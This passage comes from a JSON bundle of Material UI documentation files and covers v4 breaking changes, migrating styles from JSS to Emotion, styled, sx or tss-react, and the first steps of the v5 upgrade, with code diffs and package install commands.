paddingTop: theme.spacing(12),\n     },\n   }\n  ```\n\n  _Tip: you can provide more than 1 argument: `theme.spacing(1, 2) // = '8px 16px'`_.\n\n  You can use [the migration helper](https://github.com/mui/material-ui/tree/master/packages/mui-codemod/README.md#theme-spacing-api) on your project to make this smoother.\n\n### Layout\n\n- [Grid] In order to support arbitrary spacing values and to remove the need to mentally count by 8, we are changing the spacing API:\n\n  ```diff\n    /**\n     * Defines the space between the type `item` component.\n     * It can only be used on a type `container` component.\n     */\n  -  spacing: PropTypes.oneOf([0, 8, 16, 24, 32, 40]),\n  +  spacing: PropTypes.oneOf([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]),\n  ```\n\n  Going forward, you can use the theme to implement [a custom Grid spacing transformation function](/system/spacing/#transformation).\n\n- [Container] Moved from `@material-ui/lab` to `@material-ui/core`.\n\n  ```diff\n  -import Container from '@material-ui/lab/Container';\n  +import Container from '@material-ui/core/Container';\n  ```\n\n### TypeScript\n\n#### `value` type\n\nNormalized `value` prop type for input components to use `unknown`. This affects\n`InputBase`, `NativeSelect`, `OutlinedInput`, `Radio`, `RadioGroup`, `Select`, `SelectInput`, `Switch`, `TextArea`, and `TextField`.\n\n```diff\n function MySelect({ children }) {\n-  const handleChange = (event: any, value: string) => {\n+  const handleChange = (event: any, value: unknown) => {\n     // handle value\n   };\n\n   return <Select onChange={handleChange}>{children}</Select>\n }\n```\n\nThis change is explained in more detail in the [TypeScript guide](/material-ui/guides/typescript/#handling-value-and-event-handlers)\n\n### Button\n\n- [Button] Remove the deprecated button variants (flat, raised and fab):\n\n  ```diff\n  -<Button variant=\"raised\" />\n  +<Button variant=\"contained\" />\n  ```\n\n  ```diff\n  -<Button variant=\"flat\" />\n  +<Button variant=\"text\" />\n  ```\n\n  ```diff\n  -import Button from '@material-ui/core/Button';\n  -<Button variant=\"fab\" />\n  +import Fab from '@material-ui/core/Fab';\n  +<Fab />\n  ```\n\n  ```diff\n  -import Button from '@material-ui/core/Button';\n  -<Button variant=\"extendedFab\" />\n  +import Fab from '@material-ui/core/Fab';\n  +<Fab variant=\"extended\" />\n  ```\n\n- [ButtonBase] The component passed to the `component` prop needs to be able to hold a ref.\n  The [composition guide](/material-ui/guides/composition/#caveat-with-refs) explains the migration strategy.\n\n  This also applies to `BottomNavigationAction`, `Button`, `CardActionArea`, `Checkbox`, `ExpansionPanelSummary`, `Fab`, `IconButton`, `MenuItem`, `Radio`, `StepButton`, `Tab`, `TableSortLabel` as well as `ListItem` if the `button` prop is true.\n\n### Card\n\n- [CardActions] Rename the `disableActionSpacing` prop to `disableSpacing`.\n- [CardActions] Remove the `disableActionSpacing` CSS class.\n- [CardActions] Rename the `action` CSS class to `spacing`.\n\n### ClickAwayListener\n\n- [ClickAwayListener] Hide react-event-listener props.\n\n### Dialog\n\n- [DialogActions] Rename the `disableActionSpacing` prop to `disableSpacing`.\n- [DialogActions] Rename the `action` CSS class to `spacing`.\n- [DialogContentText] Use typography variant `body1` instead of `subtitle1`.\n- [Dialog] The child needs to be able to hold a ref. The [composition guide](/material-ui/guides/composition/#caveat-with-refs)\n  explains the migration strategy.\n\n### Divider\n\n- [Divider] Remove the deprecated `inset` prop.\n\n  ```diff\n  -<Divider inset />\n  +<Divider variant=\"inset\" />\n  ```\n\n### ExpansionPanel\n\n- [ExpansionPanelActions] Rename the `action` CSS class to `spacing`.\n- [ExpansionPanel] Increase the CSS specificity of the `disabled` and `expanded` style rules.\n- [ExpansionPanel] Rename the `CollapseProps` prop to `TransitionProps`.\n\n### List\n\n- [List] Rework the list components to match the specification:\n  - The `ListItemAvatar` component is required when using an avatar.\n  - The `ListItemIcon` component is required when using a left checkbox.\n  - The `edge` property should be set on the icon buttons.\n\n- [List] `dense` no longer reduces the top and bottom padding of the `List` element.\n- [ListItem] Increase the CSS specificity of the `disabled` and `focusVisible` style rules.\n\n### Menu\n\n- [MenuItem] Remove the fixed height of the MenuItem.\n  The padding and line-height are used by the browser to compute the height.\n\n### Modal\n\n- [Modal] The child needs to be able to hold a ref. The [composition guide](/material-ui/guides/composition/#caveat-with-refs) explains\n  the migration strategy.\n\n  This also applies to `Dialog` and `Popover`.\n\n- [Modal] Remove the classes customization API for the Modal component (-74% bundle size reduction when used standalone).\n- [Modal] event.defaultPrevented is now ignored.\n  The new logic closes the Modal even if `event.preventDefault()` is called on the key down escape event.\n  `event.preventDefault()` is meant to stop default behaviors like clicking a checkbox to check it, hitting a button to submit a form, and hitting left arrow to move the cursor in a text input etc.\n  Only special HTML elements have these default behaviors.\n  You should use `event.stopPropagation()` if you don't want to trigger an `onClose` event on the modal.\n\n### Paper\n\n- [Paper] Reduce the default elevation.\n  Change the default Paper elevation to match the Card and the Expansion Panel:\n\n  ```diff\n  -<Paper />\n  +<Paper elevation={2} />\n  ```\n\n  This affects the `ExpansionPanel` as well.\n\n### Portal\n\n- [Portal] The child needs to be able to hold a ref when `disablePortal` is used. The [composition guide](/material-ui/guides/composition/#caveat-with-refs) explains\n  the migration strategy.\n\n### Slide\n\n- [Slide] The child needs to be able to hold a ref. The [composition guide](/material-ui/guides/composition/#caveat-with-refs) explains\n  the migration strategy.\n\n### Slider\n\n- [Slider] Move from `@material-ui/lab` to `@material-ui/core`.\n\n  ```diff\n  -import Slider from '@material-ui/lab/Slider'\n  +import Slider from '@material-ui/core/Slider'\n  ```\n\n### Switch\n\n- [Switch] Refactor the implementation to make it easier to override the styles.\n  Rename the class names to match the specification wording:\n\n  ```diff\n  -icon\n  -bar\n  +thumb\n  +track\n  ```\n\n### Snackbar\n\n- [Snackbar] Match the new specification.\n  - Change the dimensions\n  - Change the default transition from `Slide` to `Grow`.\n\n### SvgIcon\n\n- [SvgIcon] Rename nativeColor -> htmlColor.\n  React solved the same problem with the `for` HTML attribute, they have decided to call the prop `htmlFor`. This change follows the same reasoning.\n\n  ```diff\n  -<AddIcon nativeColor=\"#fff\" />\n  +<AddIcon htmlColor=\"#fff\" />\n  ```\n\n### Tabs\n\n- [Tab] Remove the `labelContainer`, `label` and `labelWrapped` class keys for simplicity.\n  This has allowed us to remove 2 intermediary DOM elements.\n  You should be able to move the custom styles to the `root` class key.\n\n  ![A simpler tab item DOM structure](https://user-images.githubusercontent.com/3165635/53287870-53a35500-3782-11e9-9431-2d1a14a41be0.png)\n\n- [Tabs] Remove deprecated fullWidth and scrollable props:\n\n  ```diff\n  -<Tabs fullWidth scrollable />\n  +<Tabs variant=\"scrollable\" />\n  ```\n\n### Table\n\n- [TableCell] Remove the deprecated `numeric` property:\n\n  ```diff\n  -<TableCell numeric>{row.calories}</TableCell>\n  +<TableCell align=\"right\">{row.calories}</TableCell>\n  ```\n\n- [TableRow] Remove the fixed height CSS property.\n  The cell height is computed by the browser using the padding and line-height.\n- [TableCell] Move the `dense` mode to a different property:\n\n  ```diff\n  -<TableCell padding=\"dense\" />\n  +<TableCell size=\"small\" />\n  ```\n\n- [TablePagination] The component no longer tries to fix invalid (`page`, `count`, `rowsPerPage`) property combinations. It raises a warning instead.\n\n### TextField\n\n- [InputLabel] You should be able to override all the styles of the FormLabel component using the CSS API of the InputLabel component.\n  The `FormLabelClasses` property has been removed.\n\n  ```diff\n   <InputLabel\n  -  FormLabelClasses={{ asterisk: 'bar' }}\n  +  classes={{ asterisk: 'bar' }}\n   >\n     Foo\n   </InputLabel>\n  ```\n\n- [InputBase] Change the default box sizing model.\n  It uses the following CSS now:\n\n  ```css\n  box-sizing: border-box;\n  ```\n\n  This solves issues with the `fullWidth` prop.\n\n- [InputBase] Remove the `inputType` class from `InputBase`.\n\n### Tooltip\n\n- [Tooltip] The child needs to be able to hold a ref. The [composition guide](/material-ui/guides/composition/#caveat-with-refs) explains\n  the migration strategy.\n- [Tooltip] Appears only after focus-visible focus instead of any focus.\n\n### Typography\n\n- [Typography] Remove the deprecated typography variants. You can upgrade by performing the following replacements:\n  - display4 => h1\n  - display3 => h2\n  - display2 => h3\n  - display1 => h4\n  - headline => h5\n  - title => h6\n  - subheading => subtitle1\n  - body2 => body1\n  - body1 (default) => body2 (default)\n- [Typography] Remove the opinionated `display: block` default typography style.\n  You can use the new `display?: 'initial' | 'inline' | 'block';` property.\n- [Typography] Rename the `headlineMapping` property to `variantMapping` to better align with its purpose.\n\n  ```diff\n  -<Typography headlineMapping={headlineMapping}>\n  +<Typography variantMapping={variantMapping}>\n  ```\n\n- [Typography] Change the default variant from `body2` to `body1`.\n  A font size of 16px is a better default than 14px.\n  Bootstrap, material.io, and even the documentation use 16px as a default font size.\n  14px like Ant Design uses is understandable, as Chinese users have a different alphabet.\n  12px is recommended as the default font size for Japanese.\n- [Typography] Remove the default color from the typography variants.\n  The color should inherit most of the time. It's the default behavior of the web.\n- [Typography] Rename `color=\"default\"` to `color=\"initial\"` following the logic of [this thread](https://github.com/mui/material-ui/issues/13028).\n  The usage of _default_ should be avoided, it lacks semantic.\n\n### Node\n\n- [Drop node 6 support](https://github.com/nodejs/Release/blob/eb91c94681ea968a69bf4a4fe85c656ed44263b3/README.md#release-schedule), you should upgrade to node 8.\n\n### UMD\n\n- This change eases the use of Material UI with a CDN:\n\n  ```diff\n   const {\n     Button,\n     TextField,\n  -} = window['material-ui'];\n  +} = MaterialUI;\n  ```\n\n  It's consistent with other React projects:\n  - material-ui => MaterialUI\n  - react-dom => ReactDOM\n  - prop-types => PropTypes\n"
  },
  {
    "path": "docs/data/material/migration/migration-v4/migrating-from-jss.md",
    "content": "# Migrating from JSS (optional)\n\n<p class=\"description\">This guide explains how to migrate from JSS to Emotion when updating from Material UI v4 to v5.</p>\n\n## Material UI v5 migration\n\n1. [Getting started](/material-ui/migration/migration-v4/)\n2. [Breaking changes part one: style and theme](/material-ui/migration/v5-style-changes/)\n3. [Breaking changes part two: components](/material-ui/migration/v5-component-changes/)\n4. Migrating from JSS 👈 _you are here_\n5. [Troubleshooting](/material-ui/migration/troubleshooting/)\n\n## Migrating from JSS to Emotion\n\nOne of the biggest changes in v5 is the replacement of JSS for [Emotion](https://emotion.sh/docs/introduction) (or [styled-components](https://styled-components.com/) as an alternative) as a default styling solution .\n\nNote that you may continue to use JSS for adding overrides for the components (for example `makeStyles`, `withStyles`) even after migrating to v5.\nThen, if at any point you want to move over to the new styling engine, you can refactor your components progressively.\n\n:::info\nIf you are using Next.js and you are not sure how to configure SSR to work with both Emotion & JSS, take a look a this [example project](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts-v4-v5-migration).\n:::\n\nThis document reviews all the steps necessary to migrate away from JSS.\n\nWhile you can use either of the following two options, the first is considered preferable:\n\n### 1. Use styled or sx API\n\n#### Codemod\n\nWe provide [a codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#jss-to-styled) to help migrate JSS styles to `styled` API, but this approach increases the CSS specificity.\n\n:::info\nNormally you wouldn't write styles like this.\nBut this is the best transformation that we could create with a codemod.\n\nIf you want to refine them later, you can refer to the examples shown in the sections below.\n:::\n\n```bash\nnpx @mui/codemod@latest v5.0.0/jss-to-styled <path>\n```\n\nExample transformation:\n\n```diff\n import Typography from '@mui/material/Typography';\n-import makeStyles from '@mui/styles/makeStyles';\n+import { styled } from '@mui/material/styles';\n\n-const useStyles = makeStyles((theme) => ({\n-  root: {\n-    display: 'flex',\n-    alignItems: 'center',\n-    backgroundColor: theme.palette.primary.main\n-  },\n-  cta: {\n-    borderRadius: theme.shape.radius\n-  },\n-  content: {\n-    color: theme.palette.common.white,\n-    fontSize: 16,\n-    lineHeight: 1.7\n-  },\n-}))\n+const PREFIX = 'MyCard';\n+const classes = {\n+  root: `${PREFIX}-root`,\n+  cta: `${PREFIX}-cta`,\n+  content: `${PREFIX}-content`,\n+}\n+const Root = styled('div')(({ theme }) => ({\n+  [`&.${classes.root}`]: {\n+    display: 'flex',\n+    alignItems: 'center',\n+    backgroundColor: theme.palette.primary.main\n+  },\n+  [`& .${classes.cta}`]: {\n+    borderRadius: theme.shape.radius\n+  },\n+  [`& .${classes.content}`]: {\n+    color: theme.palette.common.white,\n+    fontSize: 16,\n+    lineHeight: 1.7\n+  },\n+}))\n\n export const MyCard = () => {\n-  const classes = useStyles();\n   return (\n-    <div className={classes.root}>\n+    <Root className={classes.root}>\n       {/* The benefit of this approach is that the code inside Root stays the same. */}\n       <Typography className={classes.content}>...</Typography>\n       <Button className={classes.cta}>Go</Button>\n-    </div>\n+    </Root>\n   )\n }\n```\n\n:::success\nYou should run this codemod on a small chunk of files and then check the changes before continuing, because in some cases you might need to adjust the code after the transformation—this codemod won't cover all cases.\n:::\n\n#### Manual\n\nWe recommend `sx` API over `styled` for creating responsive styles or overriding minor CSS.\n[Read more about `sx` here](/system/getting-started/the-sx-prop/).\n\n```diff\n import Chip from '@mui/material/Chip';\n-import makeStyles from '@mui/styles/makeStyles';\n+import Box from '@mui/material/Box';\n\n-const useStyles = makeStyles((theme) => ({\n-  wrapper: {\n-    display: 'flex',\n-  },\n-  chip: {\n-    padding: theme.spacing(1, 1.5),\n-    boxShadow: theme.shadows[1],\n-  }\n-}));\n\n function App() {\n-  const classes = useStyles();\n   return (\n-    <div className={classes.wrapper}>\n-      <Chip className={classes.chip} label=\"Chip\" />\n-    </div>\n+    <Box sx={{ display: 'flex' }}>\n+      <Chip label=\"Chip\" sx={{ py: 1, px: 1.5, boxShadow: 1 }} />\n+    </Box>\n   );\n }\n```\n\nIn some cases, you might want to create multiple styled components in a file instead of increasing CSS specificity.\n\nFor example:\n\n```diff\n-import makeStyles from '@mui/styles/makeStyles';\n+import { styled } from '@mui/material/styles';\n\n-const useStyles = makeStyles((theme) => ({\n-  root: {\n-    display: 'flex',\n-    alignItems: 'center',\n-    borderRadius: 20,\n-    background: theme.palette.grey[50],\n-  },\n-  label: {\n-    color: theme.palette.primary.main,\n-  }\n-}))\n+const Root = styled('div')(({ theme }) => ({\n+  display: 'flex',\n+  alignItems: 'center',\n+  borderRadius: 20,\n+  background: theme.palette.grey[50],\n+}))\n\n+const Label = styled('span')(({ theme }) => ({\n+  color: theme.palette.primary.main,\n+}))\n\n function Status({ label }) {\n-  const classes = useStyles();\n   return (\n-    <div className={classes.root}>\n-      {icon}\n-      <span className={classes.label}>{label}</span>\n-    </div>\n+    <Root>\n+      {icon}\n+      <Label>{label}</Label>\n+    </Root>\n   )\n }\n```\n\n:::success\n[This jss-to-styled tool](https://siriwatk.dev/tool/jss-to-styled) helps convert JSS to multiple styled components without increasing CSS specificity.\n\nThis tool is _not_ maintained by MUI.\n:::\n\n### 2. Use [tss-react](https://github.com/garronej/tss-react)\n\n:::error\nThis API will not work if you are [using `styled-components` as the underlying styling engine in place of `@emotion`](/material-ui/integrations/interoperability/#styled-components).\n:::\n\nThe API is similar to JSS `makeStyles`, but under the hood, it uses `@emotion/react`.\nIt also features much better TypeScript support than v4's `makeStyles`.\n\nIn order to use it, you'll need to add it to your project's dependencies:\n\nWith npm:\n\n```bash\nnpm install tss-react\n```\n\nWith yarn:\n\n```bash\nyarn add tss-react\n```\n\n#### Codemod\n\nWe provide [a codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#jss-to-tss-react) to help migrate JSS styles to the `tss-react` API.\n\n```bash\nnpx @mui/codemod@latest v5.0.0/jss-to-tss-react <path>\n```\n\nExample transformation:\n\n```diff\n import * as React from 'react';\n-import makeStyles from '@material-ui/styles/makeStyles';\n+import { makeStyles } from 'tss-react/mui';\n import Button from '@mui/material/Button';\n import Link from '@mui/material/Link';\n\n-const useStyles = makeStyles((theme) => {\n+const useStyles = makeStyles()((theme) => {\n   return {\n     root: {\n       color: theme.palette.primary.main,\n     },\n     apply: {\n       marginRight: theme.spacing(2),\n     },\n   };\n });\n\n function Apply() {\n-  const classes = useStyles();\n+  const { classes } = useStyles();\n\n   return (\n     <div className={classes.root}>\n       <Button component={Link} to=\"https://support.mui.com\" className={classes.apply}>\n         Apply now\n       </Button>\n     </div>\n   );\n }\n\n export default Apply;\n```\n\nIf you were using the `$` syntax and `clsx` to combine multiple CSS classes,\nthe transformation would look like this:\n\n```diff\n import * as React from 'react';\n-import { makeStyles } from '@material-ui/core/styles';\n-import clsx from 'clsx';\n+import { makeStyles } from 'tss-react/mui';\n\n-const useStyles = makeStyles((theme) => ({\n+const useStyles = makeStyles<void, 'child' | 'small'>()((theme, _params, classes) => ({\n   parent: {\n     padding: 30,\n-    '&:hover $child': {\n+    [`&:hover .${classes.child}`]: {\n       backgroundColor: 'red',\n     },\n   },\n   small: {},\n   child: {\n     backgroundColor: 'blue',\n     height: 50,\n-    '&$small': {\n+    [`&.${classes.small}`]: {\n       backgroundColor: 'lightblue',\n       height: 30\n     }\n   },\n }));\n\n function App() {\n-  const classes = useStyles();\n+  const { classes, cx } = useStyles();\n   return (\n     <div className={classes.parent}>\n       <div className={classes.child}>\n         Background turns red when the mouse hovers over the parent.\n       </div>\n-      <div className={clsx(classes.child, classes.small)}>\n+      <div className={cx(classes.child, classes.small)}>\n         Background turns red when the mouse hovers over the parent.\n         I am smaller than the other child.\n       </div>\n     </div>\n   );\n }\n\n export default App;\n```\n\n:::error\nWhen using JavaScript (rather than TypeScript), remove `<void, 'child' | 'small'>`.\n:::\n\nThe following is a comprehensive example using the `$` syntax, `useStyles()` parameters, merging in classes from a `classes` prop ([see doc](https://docs.tss-react.dev/your-own-classes-prop)) and [an explicit name for the stylesheet](https://docs.tss-react.dev/api/makestyles#naming-the-stylesheets-useful-for-debugging-and-theme-style-overrides).\n\n```diff\n-import clsx from 'clsx';\n-import { makeStyles, createStyles } from '@material-ui/core/styles';\n+import { makeStyles } from 'tss-react/mui';\n\n-const useStyles = makeStyles((theme) => createStyles<\n-  'root' | 'small' | 'child', {color: 'primary' | 'secondary', padding: number}\n->\n-({\n-  root: ({color, padding}) => ({\n+const useStyles = makeStyles<{color: 'primary' | 'secondary', padding: number}, 'child' | 'small'>({name: 'App'})((theme, { color, padding }, classes) => ({\n+  root: {\n     padding: padding,\n-    '&:hover $child': {\n+    [`&:hover .${classes.child}`]: {\n       backgroundColor: theme.palette[color].main,\n     }\n-  }),\n+  },\n   small: {},\n   child: {\n     border: '1px solid black',\n     height: 50,\n-    '&$small': {\n+    [`&.${classes.small}`]: {\n       height: 30\n     }\n   }\n-}), {name: 'App'});\n+}));\n\n function App({classes: classesProp}: {classes?: any}) {\n-  const classes = useStyles({color: 'primary', padding: 30, classes: classesProp});\n+  const { classes, cx } = useStyles({\n+    color: 'primary',\n+    padding: 30\n+  }, {\n+    props: {\n+      classes: classesProp\n+    }\n+  });\n\n   return (\n     <div className={classes.root}>\n       <div className={classes.child}>\n         The Background take the primary theme color when the mouse hovers the parent.\n       </div>\n-      <div className={clsx(classes.child, classes.small)}>\n+      <div className={cx(classes.child, classes.small)}>\n         The Background take the primary theme color when the mouse hovers the parent.\n         I am smaller than the other child.\n       </div>\n     </div>\n   );\n }\n\n export default App;\n```\n\nAfter running the codemod, search your code for \"TODO jss-to-tss-react codemod\" to find cases that the codemod could not handle reliably.\n\nThere may be other cases beyond those with TODO comments that are not handled fully by the codemod—particularly if parts of the styles are returned by functions.\n\nIf the styles buried within a function use the `$` syntax or `useStyles` params, then those styles won't be migrated appropriately.\n\n:::error\nYou should drop [`clsx`](https://www.npmjs.com/package/clsx) in favor of [`cx`](https://emotion.sh/docs/@emotion/css#cx).\n\nThe key advantage of `cx` is that it detects Emotion-generated class names to ensure that styles are overwritten in the correct order.\n\nThe default precedence of styles from multiple CSS classes is different between JSS and tss-react and some manual re-ordering of `cx` parameters\nmay be necessary—see [this issue comment](https://github.com/mui/material-ui/pull/31802#issuecomment-1093478971) for more details.\n:::\n\nTo ensure that your class names always includes the actual name of your components, you can provide the `name` as an implicitly named key (`name: { App }`).\n\nSee [this tss-react doc](https://docs.tss-react.dev/api/makestyles#naming-the-stylesheets-useful-for-debugging-and-theme-style-overrides) for details.\n\nYou may end up with ESLint warnings [like this one](https://user-images.githubusercontent.com/6702424/148657837-eae48942-fb86-4516-abe4-5dc10f44f0be.png) if you deconstruct more than one item.\n\nDon't hesitate to disable `eslint(prefer-const)`, [like this](https://github.com/thieryw/gitlanding/blob/b2b0c71d95cfd353979c86dfcfa1646ef1665043/.eslintrc.js#L17) in a regular project.\n\n#### withStyles()\n\n`tss-react` also features a [type-safe implementation](https://docs.tss-react.dev/api/withstyles) of [v4's `withStyles()`](https://v4.mui.com/styles/api/#withstyles-styles-options-higher-order-component).\n\n:::info\nThe equivalent of the `$` syntax is also supported in tss's `withStyles()`.\n[See doc](https://docs.tss-react.dev/nested-selectors#withstyles).\n:::\n\n```diff\n-import Button from '@material-ui/core/Button';\n+import Button from '@mui/material/Button';\n-import withStyles from '@material-ui/styles/withStyles';\n+import { withStyles } from 'tss-react/mui';\n\n const MyCustomButton = withStyles(\n+  Button,\n   (theme) => ({\n     root: {\n       minHeight: '30px',\n     },\n     textPrimary: {\n       color: theme.palette.text.primary,\n     },\n     '@media (min-width: 960px)': {\n       textPrimary: {\n         fontWeight: 'bold',\n       },\n     },\n   }),\n-)(Button);\n+);\n\n export default MyCustomButton;\n```\n\n#### Theme style overrides\n\n[Global theme overrides](https://v4.mui.com/customization/components/#global-theme-override) are supported out of the box by TSS.\n\nFollow the instructions in the relevant section of the [Breaking changes](/material-ui/migration/v5-style-changes/#restructure-component-definitions) doc, and [provide a `name` to `makeStyles`](https://docs.tss-react.dev/api/makestyles#naming-the-stylesheets-useful-for-debugging-and-theme-style-overrides).\n\nIn Material UI v5, [style overrides also accept callbacks](https://mui.com/material-ui/customization/theme-components/).\n\nBy default, TSS is only able to provide the theme.\nIf you want to provide the props and the `ownerState`, [please refer to this documentation](https://docs.tss-react.dev/mui-global-styleoverrides).\n\n:::warning\ntss-react is _not_ maintained by MUI.\n\nIf you have any question about how to setup SSR (Next.js), or if you are wondering\nhow to customize the `theme` object, please refer to the [tss-react documentation](https://github.com/garronej/tss-react#mui-integration).\n\nYou can also [submit an issue](https://github.com/garronej/tss-react/issues/new) for any bug or feature request, and [start a discussion](https://github.com/garronej/tss-react/discussions) if you need help.\n:::\n\n## Complete the migration\n\nOnce you migrate all of the styling, remove unnecessary `@mui/styles` by uninstalling the package.\n\nWith npm:\n\n```bash\nnpm uninstall @mui/styles\n```\n\nWith yarn:\n\n```bash\nyarn remove @mui/styles\n```\n\n:::warning\n`@emotion/styled` is a peer dependency of `@mui/material`.\nYou must keep it in your dependencies even if you never explicitly use it.\n:::\n"
  },
  {
    "path": "docs/data/material/migration/migration-v4/migration-v4.md",
    "content": "# Migrating to v5: getting started\n\n<p class=\"description\">This guide explains how and why to migrate from Material UI v4 to v5.</p>\n\n## Material UI v5 migration\n\n1. Getting started 👈 _you are here_\n2. [Breaking changes part one: style and theme](/material-ui/migration/v5-style-changes/)\n3. [Breaking changes part two: components](/material-ui/migration/v5-component-changes/)\n4. [Migrating from JSS](/material-ui/migration/migrating-from-jss/)\n5. [Troubleshooting](/material-ui/migration/troubleshooting/)\n\n## Introduction\n\nThis is the first document in a multi-part series to walk you through upgrading your app from Material UI v4 to v5.\n\nWe highly recommend running our [codemods](#run-codemods) for efficiency—these will automatically address many of the [breaking changes](#address-breaking-changes) introduced in v5.\n\nOne of the biggest changes in v5 is the replacement of JSS for [Emotion](https://emotion.sh/docs/introduction) as a default styling solution.\n\nNote that you may continue to use JSS for adding overrides to the components (for example `makeStyles`, `withStyles`) even after migrating to v5.\nOnce you've completed the rest of the v5 upgrade, we recommend progressively moving over to the new styling engine.\n\nThis process is covered in [Migrating from JSS](/material-ui/migration/migrating-from-jss/).\n\n:::info\nNeed to refer back to an older version of the docs? Check out [the v4 documentation here](https://v4.mui.com/).\n:::\n\n:::info\nIf you are using Next.js and you are not sure how to configure SSR to work with both Emotion & JSS, take a look a this [example project](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts-v4-v5-migration).\n:::\n\n## Why you should migrate\n\nMaterial UI v5 includes many bug fixes and improvements over v4.\n\nChief among these improvements is the new styling engine, which offers significant advancements in performance when it comes to dynamic styles, as well as a more enjoyable developer experience.\n\nAdditionally, v5 is the only version that fully supports React 18, so you will need to migrate to take advantage of the latest React features.\n\nTo learn more, check out [the blog post about the release of Material UI v5](https://mui.com/blog/mui-core-v5/).\n\n:::success\nCreate small commits as you go to ensure a smooth migration.\n\nIf you encounter any issues along the way, check the [Troubleshooting](/material-ui/migration/troubleshooting/) doc.\n\nFor problems not addressed there please [create an issue](https://github.com/mui/material-ui/issues/new/choose) with this title format: **[Migration] Summary of your issue**.\n:::\n\n## Supported browsers and Node versions\n\nThe targets of the default bundle have changed in v5.\n\nThe exact versions will be pinned on release from the browserslist query `\"> 0.5%, last 2 versions, Firefox ESR, not dead, not IE 11, maintained node versions\"`.\n\nThe default bundle supports the following minimum versions:\n\n<!-- #stable-snapshot -->\n\n- Node 12 (up from 8)\n- Chrome 90 (up from 49)\n- Edge 91 (up from 14)\n- Firefox 78 (up from 52)\n- Safari 14 (macOS) and 12.5 (iOS) (up from 10)\n- and more (see [.browserslistrc (`stable` entry)](https://github.com/mui/material-ui/blob/v5.0.0/.browserslistrc#L11))\n\nMaterial UI no longer supports IE 11.\nIf you need to support IE 11, check out the [legacy bundle](https://v5.mui.com/material-ui/guides/minimizing-bundle-size/#legacy-bundle).\n\n## Update React & TypeScript version\n\n### Update React\n\nThe minimum supported version of React has been increased from v16.8.0 to v17.0.0.\n\nIf you are using a React version below 17.0.0, update your packages to at least v4.11.2 for Material UI and v17.0.0 for React.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @material-ui/core@^4.11.2 react@^17.0.0\n```\n\n```bash yarn\nyarn upgrade @material-ui/core@^4.11.2 react@^17.0.0\n```\n\n</codeblock>\n\n### Update TypeScript\n\nThe minimum supported version of TypeScript has been increased from v3.2 to v3.5.\n\n:::info\nWe try to align with types released by [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped) (that is packages published on npm under the `@types` namespace).\n\nWe will not change the minimum supported version in a minor version of Material UI.\nHowever, we generally recommend not to use a TypeScript version older than the lowest supported version of DefinitelyTyped.\n:::\n\nIf your project includes these packages, you'll need to update them:\n\n- `react-scripts`\n- `@types/react`\n- `@types/react-dom`\n\n:::warning\nMake sure that your application is still running without errors, and commit the changes before continuing to the next step.\n:::\n\n## Set up `ThemeProvider`\n\nBefore upgrading to v5, please make sure that `ThemeProvider` is defined at the root of your application and in tests—even if you are using the default theme—and `useStyles` is _not_ called before `ThemeProvider`.\n\nEventually you will want to [migrate from JSS to Emotion](/material-ui/migration/migrating-from-jss/), but in the meantime you can continue to use the older JSS-based utilities with the deprecated `@mui/styles` package.\nThis package requires `ThemeProvider`.\n\nThe root of your application should look something like this:\n\n```js\nimport { ThemeProvider, createMuiTheme, makeStyles } from '@material-ui/core/styles';\n\nconst theme = createMuiTheme();\n\nconst useStyles = makeStyles((theme) => {\n  root: {\n    // some CSS that accesses the theme\n  }\n});\n\nfunction App() {\n  const classes = useStyles(); // ❌ If you have this, consider moving it\n  // inside of a component wrapped with <ThemeProvider />\n  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n}\n```\n\n:::warning\nMake sure that your application is still running without errors, and commit the changes before continuing to the next step.\n:::\n\n## Update Material UI packages\n\n### Material UI v5 and `@mui/styles`\n\nInstall the Material UI v5 packages.\n\n<codeblock storageKey=\"package-manager\">\n```bash npm\nnpm install @mui/material @mui/styles\n```\n\n```bash yarn\nyarn add @mui/material @mui/styles\n```\n\n</codeblock>\n\nIf you're using `@material-ui/lab` or `@material-ui/icons`, you will need to install the new packages.\n\n### `@material-ui/lab`\n\n<codeblock storageKey=\"package-manager\">\n```bash npm\nnpm install @mui/lab\n```\n\n```bash yarn\nyarn add @mui/lab\n```\n\n</codeblock>\n\n### `@material-ui/icons`\n\n<codeblock storageKey=\"package-manager\">\n```bash npm\nnpm install @mui/icons-material\n```\n\n```bash yarn\nyarn add @mui/icons-material\n```\n\n</codeblock>\n\n### Date and time pickers\n\nThe date and time picker components have been moved to MUI X.\nIf you are using `@material-ui/date-pickers` or the pickers in the `@mui/lab` package, you will need to migrate to `@mui/x-date-pickers`.\nSee [Migration from the lab](https://mui.com/x/migration/migration-pickers-lab/) for details.\n\n### Peer dependencies\n\nNext, add the Emotion packages.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @emotion/react @emotion/styled\n```\n\n```bash yarn\nyarn add @emotion/react @emotion/styled\n```\n\n</codeblock>\n\n#### styled-components (optional)\n\nIf you want to use Material UI v5 with styled-components instead of Emotion, check out [the Material UI installation guide](/material-ui/getting-started/installation/).\n\nNote that if your app uses server-side rendering (SSR), there is a [known bug](https://github.com/mui/material-ui/issues/29742) with the Babel plugin for styled-components which prevents `@mui/styled-engine-sc` (the adapter for styled-components) from being used.\n\nWe strongly recommend using the default setup with Emotion instead.\n\n:::warning\nMake sure that your application is still running without errors, and commit the changes before continuing to the next step.\n:::\n\n### Replace all imports\n\nWith the release of v5, the names of all related packages were changed from `@material-ui/*` to `@mui/*` as part of our updated branding. See [this blog post](/blog/material-ui-is-now-mui/) for details.\n\n<details>\n<summary>Updated package names</summary>\n\n```text\n@material-ui/core -> @mui/material\n@material-ui/unstyled -> @mui/base\n@material-ui/icons -> @mui/icons-material\n@material-ui/styles -> @mui/styles\n@material-ui/system -> @mui/system\n@material-ui/lab -> @mui/lab\n@material-ui/types -> @mui/types\n@material-ui/styled-engine -> @mui/styled-engine\n@material-ui/styled-engine-sc ->@mui/styled-engine-sc\n@material-ui/private-theming -> @mui/private-theming\n@material-ui/codemod -> @mui/codemod\n@material-ui/docs -> @mui/docs\n@material-ui/envinfo -> @mui/envinfo\n```\n\n</details>\n\n### Remove old packages\n\nOnce you've installed all the 